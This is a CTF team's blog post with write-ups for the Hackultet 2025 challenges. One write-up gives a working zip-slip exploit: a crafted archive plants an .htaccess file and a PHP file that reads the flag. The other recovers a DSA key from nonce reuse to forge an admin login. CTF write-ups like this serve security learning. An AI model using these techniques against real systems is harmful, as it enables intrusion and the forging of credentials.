Last week, we participated in Hackultet 2025 CTF competition. Since we all graduated from high school, we can no longer participate in Hacknite like we did last year. However, CARNET is hosting another version of the Hacknite competition for university students, the Hackultet. Teams that score in the first three places are given a chance to become a part of Croatia’s ECSC team. Unfortunately, this year we only managed to secure the 4th place on the scoreboard, however, we did have a lot of fun solving the CTF challenges :).
Besides part of the standard crew (Borneto, rdobovic, Zombieschannel), we also invited two of our friends to accompany us for this CTF. Special thanks to LeKos and Goran for agreeing to join us.

Below you can find the writeups for some of our favorite challenges from this CTF.
Revange of upload 2025
We were given the challenge source files and access to the website. The goal was to obtain the flag.txt
file stored in the root directory. The website was served by the Apache web server and allowed users to register/login and perform two tasks. You could upload a profile picture, which would then be stored in /uploads/<your-user-id>
folder inside the webroot, however, the .htaccess file located inside /uploads
prohibited access to files with any of the default PHP extensions recognised by Apache. The other feature allowed you to upload a zip file, which was then extracted inside the /tmp directory, and its contents were printed back to you.
Combining the two features, we were able to solve the challenge, but the most important part of the solution was that the PHP zip library allowed us to perform directory traversal and extract the files anywhere on the file system. So we created the following two files:
.htaccess
AddType application/x-httpd-php .myphp
index.myphp
<?php echo file_get_contents('/flag.txt'); ?>
.htaccess file instructed Apache to parse files with .myphp extension as PHP files. Now, since www-data user could only create files inside the uploads folder, the solution was to use the folder named after our user’s id that was created inside the uploads folder upon registration. By examining the application code, we found out that user id was actually a sha256 hash of the username. So we easily calculated the folder name for our random username.
echo -n 'Aa1!aaaaaa' | sha256sum
81e829622de21dd2d1b1d3852ddbe21f27f81ee6bfa4622497c7de3f5c17808d -
Then we were ready to create a malicious zip file. First, you zip the two files we created earlier. And then you extract and edit the zip notes, which will allows us to change the file names.
zip exploit.zip index.myphp .htaccess
zipnote exploit.zip > notes.txt
nano notes.txt
Then edit the notes file.
@ index.myphp
@= ../../../../../var/www/html/uploads/81e829622de21dd2d1b1d3852ddbe21f27f81ee6bfa4622497c7de3f5c17808d/index.myphp
@ (comment above this line)
@ .htaccess
@= ../../../../../var/www/html/uploads/81e829622de21dd2d1b1d3852ddbe21f27f81ee6bfa4622497c7de3f5c17808d/.htaccess
@ (comment above this line)
@ (zip file comment below this line)
And finally, apply the changes to the original zip file.
zipnote -w exploit.zip < notes.txt
You can use zipinfo to check if the changes were applied successfully.
zipinfo exploit.zip
Archive: exploit.zip
Zip file size: 809 bytes, number of entries: 2
-rw-rw-r-- 3.0 unx 45 tx stor 25-May-24 12:11 ../../../../../var/www/html/uploads/81e829622de21dd2d1b1d3852ddbe21f27f81ee6bfa4622497c7de3f5c17808d/index.myphp
-rw-rw-r-- 3.0 unx 38 tx stor 25-May-24 12:04 ../../../../../var/www/html/uploads/81e829622de21dd2d1b1d3852ddbe21f27f81ee6bfa4622497c7de3f5c17808d/.htaccess
2 files, 83 bytes uncompressed, 83 bytes compressed: 0.0%
Now all that was left to do was to upload a zip file and visit a URL where the files were exported.
http://chal.hackultet.hr:14001/uploads/81e829622de21dd2d1b1d3852ddbe21f27f81ee6bfa4622497c7de3f5c17808d/index.myphp
And the flag was right there:
CTF2025[69512737257205]
Potpis
When you submit a faulty login certificate (take a real one from the site and modify literally anything), you receive the variables p, g, q, and y in the error message. This leaves only two unknowns for the signature: k and r. However, if we know one, we know the other since r = pow(g, k, p) % q.
Since these are all constants in the system, what you can do is download multiple login certificates and analyze their signatures (you know the signing method and the input). You then search for 2 certificates that have the same r value (there’s literally a Python function that does this).
If two certificates have the same r and you know the message that was signed, you can reconstruct the private key x using modular arithmetic. Here’s how the mathematics works:
Given two signatures with identical r values:
Certificate 1:
(r, s₁) for message hash H₁
Certificate 2:
(r, s₂) for message hash H₂
First, solve for the nonce k. Since both signatures use the same k (because they have the same r), we can subtract the equations:
s₁ – s₂ = k⁻¹(H₁ – H₂) mod q => k = (H₁ – H₂)(s₁ – s₂)⁻¹ mod q
Then recover the private key x. Substitute the recovered k back into either signature equation:
x = r⁻¹(s₁ · k – H₁) mod q
Once we know x (the private key, which is constant in the system) and all the other parameters, we can forge any login certificate.
The first thing I tried was generating a login certificate with username admin (using a timestamp from one of the 10 other legitimate certificates), and the flag was there.
It took about 10 legitimate login certificates, but since the signing process uses the creation timestamp, each download had a different signature, which is exactly what we needed for finding nonce reuse.
Beyond that, the timestamp isn’t critical and could be any arbitrary number, but given how Python handles signature generation, it didn’t matter what I put in the admin certificate when I created it.
*All key sizes are too large for direct brute forcing.
import base64
from cryptography.hazmat.primitives.asymmetric import utils
def extract_r_s_from_signature(signature_b64):
try:
signature_bytes = base64.b64decode(signature_b64)
r, s = utils.decode_dss_signature(signature_bytes)
return r, s
except Exception as e:
print(f"Error extracting r,s: {e}")
return None, None